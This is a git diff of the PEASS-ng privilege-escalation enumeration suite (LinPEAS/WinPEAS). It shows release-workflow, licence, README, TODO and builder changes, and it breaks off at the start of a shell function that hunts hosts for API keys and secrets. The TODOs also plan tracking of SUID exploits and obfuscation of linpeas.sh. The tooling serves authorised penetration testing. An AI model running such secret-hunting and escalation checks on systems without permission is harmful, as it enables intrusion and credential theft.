||||
name: linpeas_darwin_amd64
|
||||
|
||||
- name: Download linpeas_darwin_arm64
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_darwin_arm64
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
run: echo "::set-output name=date::$(date +'%Y%m%d')"
|
||||
|
||||
- name: Generate random
|
||||
id: random_n
|
||||
run: echo "::set-output name=some_rand::$(openssl rand -hex 4)"
|
||||
|
||||
# Create the release
|
||||
- name: Create Release
|
||||
id: create_release
|
||||
uses: actions/create-release@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||
draft: false
|
||||
prerelease: false
|
||||
|
||||
- id: upload_release_assets
|
||||
uses: dwenegar/upload-release-assets@v1
|
||||
with:
|
||||
release_id: ${{ steps.create_release.outputs.id }}
|
||||
assets_path: .
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
8
.gitignore
vendored
8
.gitignore
vendored
@@ -2,6 +2,7 @@
|
||||
winPEAS/winPEASexe/.vs/*
|
||||
v16/*
|
||||
winPEAS/winPEASexe/.vs/winPEAS/v16/*
|
||||
winPEAS/winPEASexe/binaries/**/*.exe
|
||||
Debug/*
|
||||
winPEAS/winPEASexe/winPEAS/bin/Debug/*
|
||||
.DS_Store
|
||||
@@ -22,3 +23,10 @@ __pycache__
|
||||
**/__pycache__
|
||||
linPEAS/builder/__pycache__/*
|
||||
linPEAS/builder/src/__pycache__/*
|
||||
linPEAS/linpeas.sh
|
||||
sh2bin
|
||||
sh2bin/*
|
||||
.dccache
|
||||
./*/.dccache
|
||||
regexes.yaml
|
||||
build_lists/regexes.yaml
|
||||
@@ -1,7 +1,10 @@
|
||||
# Contributing to this repository
|
||||
|
||||
## Making Suggestions
|
||||
If you wan tto make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**
|
||||
If you want to make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**
|
||||
|
||||
## Do don't know how to help?
|
||||
Check out the **[TODO](https://github.com/carlospolop/PEASS-ng/blob/master/TODO.md) page**
|
||||
|
||||
## Searching for files with sensitive information
|
||||
From the PEASS-ng release **winpeas and linpeas are auto-built** and will search for files containing sensitive information specified in the **[sesitive_files.yaml](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/build_lists/sensitive_files.yaml)** file.
|
||||
@@ -10,7 +13,7 @@ If you want to **contribute adding the search of new files that can contain sens
|
||||
Also, in the comments of this PR, put links to pages where and example of the file containing sensitive information can be foud.
|
||||
|
||||
## Specific LinPEAS additions
|
||||
From the PEASS-ng release **linpeas is auto-build from [linpeas_base.sh](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/builder/linpeas_base.sh)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this file and create a PR to master**.
|
||||
From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that willbe merged into linpeas.sh*.
|
||||
The new linpeas.sh script will be auto-generated in the PR.
|
||||
|
||||
## Specific WinPEAS additions
|
||||
|
||||
360
LICENSE
360
LICENSE
@@ -1,21 +1,347 @@
|
||||
MIT License
|
||||
COPYING -- Describes the terms under which peass-ng is distributed. A copy
|
||||
of the GNU General Public License (GPL) is appended to this file.
|
||||
|
||||
Copyright (c) 2019 Carlos Polop
|
||||
peass-ng is (C) 2006-2022 Carlos Polop Martin.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
This program is free software; you may redistribute and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation; Version 2 (or later) with the clarifications and
|
||||
exceptions described below. This guarantees your right to use, modify, and
|
||||
redistribute this software under certain conditions. If you wish to embed
|
||||
peass-ng technology into proprietary software, we sell alternative licenses
|
||||
(contact me via email, telegram or github issue).
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
Note that the GPL places important restrictions on "derived works", yet it
|
||||
does not provide a detailed definition of that term. To avoid
|
||||
misunderstandings, we interpret that term as broadly as copyright law
|
||||
allows. For example, we consider an application to constitute a "derived
|
||||
work" for the purpose of this license if it does any of the following:
|
||||
* Integrates source code from peass-ng.
|
||||
* Reads or includes peass-ng copyrighted files or any file in this repository
|
||||
* Executes peass-ng and parses the results (as opposed to typical shell or
|
||||
execution-menu apps, which simply display raw peass-ng output and so are
|
||||
not derivative works).
|
||||
* Integrates/includes/aggregates peass-ng into a proprietary executable
|
||||
installer, such as those produced by InstallShield.
|
||||
* Links to a library or executes a program that does any of the above
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
The term "peass-ng" should be taken to also include any portions or derived
|
||||
works of peass-ng. This list is not exclusive, but is meant to clarify our
|
||||
interpretation of derived works with some common examples. Our
|
||||
interpretation applies only to peass-ng - we do not speak for other people's
|
||||
GPL works.
|
||||
|
||||
This license does not apply to the third-party components.
|
||||
|
||||
If you have any questions about the GPL licensing restrictions on using
|
||||
peass-ng in non-GPL works, we would be happy to help. As mentioned above,
|
||||
we also offer alternative license to integrate peass-ng into proprietary
|
||||
applications and appliances.
|
||||
|
||||
If you received these files with a written license agreement or contract
|
||||
stating terms other than the terms above, then that alternative license
|
||||
agreement takes precedence over these comments.
|
||||
|
||||
Source is provided to this software because we believe users have a right
|
||||
to know exactly what a program is going to do before they run it.
|
||||
|
||||
Source code also allows you to fix bugs and add new features. You are
|
||||
highly encouraged to send your changes for possible
|
||||
incorporation into the main distribution. By sending these changes to the
|
||||
peass-ng developers or via Git pull request, checking them into the peass-ng
|
||||
source code repository, it is understood (unless you specify otherwise)
|
||||
that you are offering the peass-ng project the unlimited, non-exclusive
|
||||
right to reuse, modify, and relicense the code. peass-ng will always be
|
||||
available Open Source, but this is important because the inability to
|
||||
relicense code has caused devastating problems for other Free Software
|
||||
projects (such as KDE and NASM). If you wish to specify special license
|
||||
conditions of your contributions, just say so when you send them.
|
||||
|
||||
This program is distributed in the hope that it will be useful, but
|
||||
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
General Public License v2.0 for more details at
|
||||
http://www.gnu.org/licenses/gpl-2.0.html, or below
|
||||
|
||||
****************************************************************************
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
31
README.md
31
README.md
@@ -12,31 +12,34 @@ Here you will find **privilege escalation tools for Windows and Linux/Unix\* and
|
||||
|
||||
These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.
|
||||
|
||||
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
||||
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||
- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
|
||||
|
||||
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**
|
||||
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**
|
||||
- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
|
||||
|
||||
## Quick Start
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||
|
||||
## JSON, HTML & PDF output
|
||||
Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF**
|
||||
|
||||
## Support PEASS-ng and HackTricks and get benefits
|
||||
|
||||
Do you want to have **access the latest version of Hacktricks and PEASS**, obtain a **PDF copy of Hacktricks**, and more? Discover the **brand new [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop?frequency=one-time) for individuals and companies**.
|
||||
|
||||
**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
|
||||
|
||||
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
|
||||
|
||||
## Let's improve PEASS together
|
||||
|
||||
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file.
|
||||
|
||||
## Please, if this tool has been useful for you consider to donate
|
||||
|
||||
[](https://www.patreon.com/peass)
|
||||
|
||||
## PEASS Style
|
||||
|
||||
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
|
||||
|
||||
## Advisory
|
||||
|
||||
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.
|
||||
|
||||
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
|
||||
28
TODO.md
Normal file
28
TODO.md
Normal file
@@ -0,0 +1,28 @@
|
||||
# TODO
|
||||
|
||||
### Generate Nice Reports
|
||||
- [x] Create a parser from linpeas and winpeas.exe output to JSON. You can fin it [here](https://github.com/carlospolop/PEASS-ng/tree/master/parser).
|
||||
- [ ] Create a python script that generates a nice HTML/PDF from the JSON output
|
||||
|
||||
### Generate a DB of Known Vulnerable Binaries
|
||||
- [ ] Create a DB of the md5/sha1 of binaries known to be vulnerable to command execution/Privilege Escalation
|
||||
|
||||
### Maintain Updated LinPEAS's known SUID exploits
|
||||
- [ ] Maintain updated LinPEAS's known SUID exploits
|
||||
|
||||
### Network Capabilities for WinPEAS
|
||||
- [ ] Give to WinPEAS network host discover capabilities and port scanner capabilities (like LinPEAS has)
|
||||
|
||||
### Add More checks to LinPEAS and WinPEAS
|
||||
- [ ] Add more checks in LinPEAS
|
||||
- [ ] Add more checks in WinPEAS
|
||||
|
||||
### Find a way to minify and/or obfuscate LinPEAS automatically
|
||||
- [ ] Find a way to minify and/or obfuscate linpeas.sh automatically. If you know a way contact me in Telegram or via github issues
|
||||
|
||||
### Create a PEASS-ng Web Page were the project is properly presented
|
||||
- [ ] Let me know in Telegram or github issues if you are interested in helping with this
|
||||
|
||||
### Relate LinPEAS and WinPEAS with the Att&ck matrix
|
||||
- [ ] In the title of each check of LinPEAS and WinPEAS indicate between parenthesis and in grey the Tactic used. Example: **Enumerating something** (*T1234*)
|
||||
- [ ] Once the previous task is done, modify LinPEAS and WinPEAS to be able to indicate just the Tactic(s) that want to be executed so the scripts only execute the checks related to those tactics. Example: `linpeas.sh -T T1590,T1591`
|
||||
5
build_lists/download_regexes.ps1
Normal file
5
build_lists/download_regexes.ps1
Normal file
@@ -0,0 +1,5 @@
|
||||
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$filePath = Join-Path $scriptDir "regexes.yaml"
|
||||
$url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||
|
||||
Invoke-WebRequest $url -OutFile $filePath
|
||||
24
build_lists/download_regexes.py
Executable file
24
build_lists/download_regexes.py
Executable file
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import requests
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def download_regexes():
|
||||
print("[+] Downloading regexes...")
|
||||
url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
# Save the content of the response to a file
|
||||
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||
target_file = script_folder / 'regexes.yaml'
|
||||
|
||||
with open(target_file, "w") as file:
|
||||
file.write(response.text)
|
||||
print(f"Downloaded and saved in '{target_file}' successfully!")
|
||||
else:
|
||||
print("Error: Unable to download the regexes file.")
|
||||
exit(1)
|
||||
|
||||
download_regexes()
|
||||
2
build_lists/regexes.yaml
Normal file
2
build_lists/regexes.yaml
Normal file
@@ -0,0 +1,2 @@
|
||||
# This is a placeholder.
|
||||
# To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
8
linPEAS/TODO.md
Normal file
8
linPEAS/TODO.md
Normal file
@@ -0,0 +1,8 @@
|
||||
- Add more checks
|
||||
- Add more potential files with passwords to sensitive_files.yaml
|
||||
- Add more regex of interesting APIs to regexes.yaml
|
||||
- Mantain updated the list of vulnerable SUID binaries
|
||||
- Mantain updated all the blacklists used to color the output
|
||||
- Improve the speed
|
||||
- Reduce the size of the script
|
||||
- Generate automatically an obfuscated version
|
||||
@@ -1,16 +1,30 @@
|
||||
from .src.peasLoaded import PEASLoaded
|
||||
from .src.linpeasBuilder import LinpeasBuilder
|
||||
from .src.yamlGlobals import FINAL_LINPEAS_PATH
|
||||
from .src.linpeasBaseBuilder import LinpeasBaseBuilder
|
||||
from .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORARY_LINPEAS_BASE_PATH
|
||||
|
||||
import os
|
||||
import stat
|
||||
|
||||
#python3 -m builder.linpeas_builder
|
||||
# python3 -m builder.linpeas_builder
|
||||
def main():
|
||||
# Load configuration
|
||||
ploaded = PEASLoaded()
|
||||
|
||||
# Build temporary linpeas_base.sh file
|
||||
lbasebuilder = LinpeasBaseBuilder()
|
||||
lbasebuilder.build()
|
||||
|
||||
# Build final linpeas.sh
|
||||
lbuilder = LinpeasBuilder(ploaded)
|
||||
lbuilder.build()
|
||||
lbuilder.write_linpeas(FINAL_LINPEAS_PATH)
|
||||
lbuilder.write_linpeas(FINAL_FAT_LINPEAS_PATH)
|
||||
lbuilder.write_linpeas(FINAL_LINPEAS_PATH, rm_startswith="FAT_LINPEAS")
|
||||
os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base.sh file
|
||||
|
||||
st = os.stat(FINAL_FAT_LINPEAS_PATH)
|
||||
os.chmod(FINAL_FAT_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
|
||||
|
||||
st = os.stat(FINAL_LINPEAS_PATH)
|
||||
os.chmod(FINAL_LINPEAS_PATH, st.st_mode | stat.S_IEXEC)
|
||||
|
||||
|
||||
49
linPEAS/builder/linpeas_parts/10_api_keys_regex.sh
Normal file
49
linPEAS/builder/linpeas_parts/10_api_keys_regex.sh
Normal file
@@ -0,0 +1,49 @@
|
||||
|
||||
search_for_regex(){
|
||||
title=$1
|
||||
regex=$2
|
||||
caseSensitive=$3
|
||||
|
||||
if [ "$caseSensitive" ]; then
|
||||
i="i"
|
||||
else
|
||||
i=""
|
||||
fi
|
||||
|
||||
print_3title_no_nl "Searching $title..."
|
||||
|
||||
if [ "$SEARCH_IN_FOLDER" ]; then
|
||||
